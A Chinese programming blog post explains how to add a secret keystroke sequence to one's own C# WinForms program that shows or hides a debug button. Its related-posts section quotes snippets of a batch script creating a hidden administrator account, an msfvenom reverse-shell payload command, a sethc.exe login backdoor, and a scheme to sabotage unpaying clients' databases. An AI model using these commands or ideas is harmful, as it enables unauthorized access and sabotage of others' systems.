给自己的软件添加后门

【C#技术分享】 给自己的软件添加后门 <br />软件彩蛋我想大家都应该听说过。经典的比如在Excel得某个单元隔里面OOXX就可以获得一个赛车游戏之类。这是一种软件彩蛋,纯属娱乐。但是更多的“彩蛋”被用作软件后门。比如我们提供给客户一个软件,通常是看不到某些调试用的窗口和工具的;当我们被要求给客户提供现场技术支持的时候,我们往往希望通过某种隐秘的手段来开启这些条使用的工具和窗口,这就是后门。这类后门中又以按键后门最为常见,下面我们就利用一个已有的第三方函数库Utilities.dll来构建一个后门系统。<br /><br />首先新建一个工程 阅读详情

    软件彩蛋我想大家都应该听说过。经典的比如在Excel得某个单元隔里面OOXX就可以获得一个赛车游戏之类。这是一种软件彩蛋,纯属娱乐。但是更多的“彩蛋”被用作软件后门。比如我们提供给客户一个软件,通常是看不到某些调试用的窗口和工具的;当我们被要求给客户提供现场技术支持的时候,我们往往希望通过某种隐秘的手段来开启这些条使用的工具和窗口,这就是后门。这类后门中又以按键后门最为常见,下面我们就利用一个已有的第三方函数库Utilities.dll来构建一个后门系统。

首先新建一个工程,然后完成对第三方库Utilities的引用。

然后开打Form1的代码编辑窗口,在窗体类中添加一个 后门类KeyboardIncantationMonitor
 

C# code
private KeyboardIncantationMonitor m_KeyBackDoor = new KeyboardIncantationMonitor();



新建一个私有成员函数,并添加两个后门
 

C# code
private void AddBackDoor() { //! 第一个后门 do { //! 申请一个后门暗号 KeyboardIncantationMonitor.KeysIncantation tInc = m_KeyBackDoor.NewIncantation() as KeyboardIncantationMonitor.KeysIncantation; //! 初始化这个暗号为:依次按下 <Esc>HELLO<Enter> tInc.AddKey(Keys.Escape); tInc.AddKey(Keys.H); tInc.AddKey(Keys.E); tInc.AddKey(Keys.L); tInc.AddKey(Keys.L); tInc.AddKey(Keys.O); tInc.AddKey(Keys.Enter); //! 对上暗号以后的处理程序 tInc.IncantationCantillatedReport += new IncantationReport(BackdoorHandler_A); //! 将这个暗号添加到后门监视器里面 m_KeyBackDoor.AddIncantation(tInc); } while (false); //! 第二个后门 do { //! 申请一个后门暗号 KeyboardIncantationMonitor.KeysIncantation tInc = m_KeyBackDoor.NewIncantation() as KeyboardIncantationMonitor.KeysIncantation; //! 初始化这个暗号为:依次按下 <Esc>Bye<Enter> tInc.AddKey(Keys.Escape); tInc.AddKey(Keys.B); tInc.AddKey(Keys.Y); tInc.AddKey(Keys.E); tInc.AddKey(Keys.Enter); //! 对上暗号以后的处理程序 tInc.IncantationCantillatedReport += new IncantationReport(BackdoorHandler_B); //! 将这个暗号添加到后门监视器里面 m_KeyBackDoor.AddIncantation(tInc); } while (false); } //! 第一个后门的处理程序 void BackdoorHandler_A(IIncantation tInc) { button1.Visible = true; } //! 第二个后门的处理程序 void BackdoorHandler_B(IIncantation tInc) { button1.Visible = false; }



在Form1的构造函数中增加对AddBackDoor方法的调用,这样我们就把后门加好了
 

C# code
public Form1() { InitializeComponent(); //! 加入后门 AddBackDoor(); }




在什么地方安插后门呢?依照个人喜好了,不过既然是一个按键后门,肯定要选择一个能接收KeyDown或者KeyUp事件的地方。
比如我们在Form1上增加一个文本框,将其ReadOnly属性设置为True,并添加一段文字:“版权所有,翻版必究”。并在窗体上增加一个按钮,作为我们演示的对象:普通状况下,看不到这个按钮,开启后门以后,按钮的visible属性就变为true,我们就能看见了;我们也可以使用另外一个后门重新将按钮的visible属性设置为false,然后就可以交给客户了。^_^

选中刚才所说的文本框控件,在Property窗口中选择Event,双击KeyDown,进入代码编辑窗口,并在KeyDown处理程序中加入对后门监视器的处理:也就是把按下的键告诉监视器:
 

C# code
private void textBox1_KeyDown(object sender, KeyEventArgs e) { //! 告诉后门监视器哪个键被按下了 m_KeyBackDoor.Append(e.KeyCode); } //在后门处理程序A中将Button的Visible属性设置为True; //! 第一个后门的处理程序 void BackdoorHandler_A(IIncantation tInc) { button1.Visible = true; } //在后门处理程序B中将Button的Visible属性设置为False; //! 第二个后门的处理程序 void BackdoorHandler_B(IIncantation tInc) { button1.Visible = false; }



最后,别忘记把Button的visible属性设置为False,否则怎么向我们的客户隐藏这个按钮呢?


运行程序,果然看不到Button,他被隐藏了
选中写有“翻版必究”的文本框,依次按下: <Esc> <H> <E> <L> <L> <O> <Enter> 键, button1出现了
依次按下: <Esc> <B> <Y> <E> <Enter> 键, button1又消失了

大功告成。
无论任何时候你都可以从头开始输入后门,不必担心上次从什么地方开始的。当然,也不用考虑大小写。
Have a good time.

源码下载:http://download.youkuaiyun.com/source/2071635

C#代码依赖的5大雷区:你的代码正在被黑客“偷窥”吗?从“裸奔”到“穿防弹衣”的终极指南! 🔥关注墨瑾轩,带你探索编程的奥秘!🚀🔥超萌技术攻略,轻松晋级编程高手🚀🔥技术宝库已备好,就等你来挖掘🚀🔥订阅墨瑾轩,智趣学习不孤单🚀🔥即刻启航,编程之旅更有趣🚀。 阅读详情

相关推荐

防止客户不付尾款的方法.docx

防止客户不付尾款的方法 来自群里大佬 写个后门,平时看不到挂到电脑的系统关键进程上面,随开机关机启动,发现没付钱 直接数据库所有字段数据加密,查出来的都是加密的

知乎高赞:我故意在代码里留个后门,违法吗?

昨天我在逛知乎的时候,看到了这么一个问题:我看到了三个非常有意思的回答,分享给大家一看。首先是这个为了防止项目交付后收不到尾款埋下后门的回答:答主:特立独行的猪链接:https://www.zhihu.com/question/531724027/answer/2487270093编辑:编程技术宇宙早年给某台企做外包项目,定制一个Android系统的ROM。开发费用16万,一年期维护费用2万。开发费用分三期打款,订金4万,生产环境ROM交付8万,验收并交付源码后打尾款4万。

weixin_68789096的博客 1502

windows 登陆 后门(C#源码VS2010)

windows 登陆 后门(C#源码VS2010) 如何使用: 直接将制作的exe文件改名为:sethc.exe,替换到C:\WINDOWS\system32\,即是粘滞键。 因为避免其他人随便使用后台,需要认证 登陆时的认证:随机抽出1000-5000的素数和,2分钟变更一次,关于算法,代码里有。

C#的DLLspy超犀利后门

这个玩意儿是很久之前的整的。一直没有做完,但是基本功能和框架都做好了,现在发出来,希望有能力的家伙一起完成。 DLLspy,绝对免杀,隐藏,HTTP请求劫持,居家旅行,杀人放火必备良药。有时间我会继续开发的,有啥子问题可以直接联系我 因为采用了html+js作为客户端

打,打个大锤子 2689

c# 给自己软件加后门

为自己的软件加后门 。 里面的代码非常详细~~~~ 记的回复啊。。

C# 给自己的软件加后门

C# 给自己的软件加后门,仅供学习使用,希望大家不要给自己的软件加后门,一切后果自负

程序后门制作

两个项目,BackDoor是程序后门的核心代码,FormTest为测试类 上星期有人在C#论坛里发了程序后门的例程,但是制作方法封装在一个稍微有点麻烦的动态库里,今天把大致的制作方法提取出来重新写了个自己的,供大家参考,欢迎大家批评指正。 源码下载

lovelan1748的专栏 1099

C#实现后门程序的实例

一个简单的C#后门程序实例,告诉你怎样去写一个后门程序。

【转】软件添加后门

软件彩蛋我想大家都应该听说过。经典的比如在Excel得某个单元隔里面OOXX就可以获得一个赛车游戏之类。这是一种软件彩蛋,纯属娱乐。但是更多的 “彩蛋”被用作软件后门。比如我们提供给客户一个软件,通常是看不到某些调试用的窗口和工具的;当我们被要求给客户提供现场技术支持的时候,我们往往希望 通过某种隐秘的手段来开启这些条使用的工具和窗口,这就是后门。这类后门中又以按键后门最为常见,下面我们就利用一个...

weixin_30394669的博客 265

基于Utilities.dll实现C#软件后门程序代码

内容索引:C#源码,菜单窗体,后门  你知道C#如何给自己的软件加后门吗?本程序将告诉大家一个方法,使用第三方函数库Utilities.dll来构建一个后门系统。 后门系统一般是使用软件彩蛋,一般以按键后门最为常见。

用Proteus8.9自带STM32F401VE的Controller仿真STM32F407ZGT6,F429IGT6

@用Proteus8.9自带STM32F401VE的Controller仿真STM32F407ZGT6,F429IGT6 一, 目前得到的 Proteus8.9版本软件能够支持的Cortex-M4固件库项目,只能到达STM32F401VE (如下图1所示)。 (图1) 作为ST公司Cortex-M4更为广泛应用的F407,F429系列芯片;现在的Proteus8.9版本软件还没有固件库支持,不能...

kaillen的博客 3万+

无法检测与删除的后门

无法检测与删除的后门 1.自动添加与删除账号的后门 @echo off net user heimao$ 123456/add net user heimao$ /active:yes net localgroup administrators heimao$ /add 输入完毕后,保存为关机.bat 2.在打开写一个脚本内容 ...

weixin_33858336的博客 183

睿尔曼超轻量仿人机械臂--机械臂接口介绍

本文介绍了睿尔曼超轻量仿人机械臂的控制器接口及末端接口。

realman_Rop的博客 3440

制作linux恶意软件获取shell加实战

一.使用msf制作linux后门 二. 实战,给软件加后门 制作linux后门 1.使用msfvenom生成linux可执行文件 msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.124.3 LPORT=4444 -b '\x00' -i 10 -f elf -o /var/www/html/xueguo -a x64 ...

xiao_he0123的博客 1422

Rocky Linux 9.2:利用LVM动态调整/home与/根分区空间分配

本文详细介绍了在Rocky Linux 9.2系统中,如何利用LVM(逻辑卷管理器)动态调整/home与根分区(/)的空间分配。针对根分区空间不足而/home分区闲置的常见问题,文章提供了从检查磁盘布局、备份数据、卸载分区、调整逻辑卷大小到重建文件系统的完整操作步骤,并重点说明了XFS与EXT4文件系统在缩容时的不同处理方法,帮助系统管理员安全、在线地实现存储空间的灵活调配。

weixin_29271263的博客 179

2023西工大NOJ (C语言版) 完结!!!

代码均可AC,不含解析。

annesede的博客 8万+

Linux后门程序工作原理的详细解释,以及相应的防御措施

在Linux系统上,后门程序是一种恶意软件,通过隐蔽的方式悄无声息地绕过正常的安全机制,允许攻击者未经授权地访问并控制系统。这种威胁对系统的安全性和稳定性构成了极大的挑战。以下是对Linux后门程序工作原理的详细解释,以及相应的防御措施:‌隐藏文件‌: 后门文件通常被存放在系统的隐蔽目录中,或者通过修改文件系统调用来使其在ls等命令中变得不可见。例如,攻击者可能会将后门文件命名为与系统文件相似的名称,或者将其放置在系统不常访问的目录中。‌隐藏网络连接‌: 为了避免被网络监控工具(如netstat、ss等)检

weixin_43209512的博客 920

别再只盯着版图画了!聊聊CMOS工艺里那个‘看不见的手’:STI应力(LOD效应)对模拟电路的实际影响

本文深入探讨了CMOS工艺中STI应力(LOD效应)对模拟电路设计的实际影响,揭示了这一隐形变量如何导致电流镜匹配偏差等常见问题。通过分析应力产生的物理机制、空间分布特性,以及提供伪器件设计、版图布局优化等实用解决方案,帮助工程师有效管理STI应力效应,提升电路性能。文章还探讨了FinFET工艺下的新挑战及机器学习在应力优化中的应用前景。

weixin_42656416的博客 360

后渗透篇

Windows留后门方法: 1、Windows隐藏账号后门的创建 2、LPK后门 3、木马后门,即安装远程控制软件(上兴远控、梦想时代) Linux留后门方法: 1、OpenSSH后门的添加与防范 2、Linux 多个留后门姿势 Linux痕迹清理: 1、bash去掉history记录 export HISTSIZE=0 export HISTFILE=/d...

217

自监督学习与上下文赌博机融合:视觉决策中的协同优化与实战指南

在机器学习领域,自监督学习(Self-Supervised Learning)通过设计前置任务从无标注数据中学习通用表征,已成为解决标注数据稀缺问题的关键技术。其核心原理是利用数据自身的结构生成监督信号,训练编码器提取鲁棒特征。上下文赌博机(Contextual Bandits)作为强化学习的简化分支,专注于在给定上下文信息下做出单步最优决策,平衡探索与利用,广泛应用于推荐系统、广告投放等场景。将两者结合,构建端到端的协同训练框架,能让视觉表征的优化直接服务于最终的决策目标,同时利用自监督任务作为正则化项提

weixin_33721344的博客 522

innovus:insert Power Switch失败,报告not covered by a row问题解析

这个问题就是switch找不到可以放置的row,分析就从两方面入手,一方面从voltage area下手,一方面从row和site入手。检查发现voltage area设置正确,row也存在,只不过lef里缺少对应switch的双倍高的site。更多学习内容请关注「拾陆楼」知识星球。

m0_61544122的博客 1159
上一篇: SQL常用分页的办法(zt)
下一篇: 2010最危险的编程错误
blacksapper
博客等级 码龄19年 20粉丝 81原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值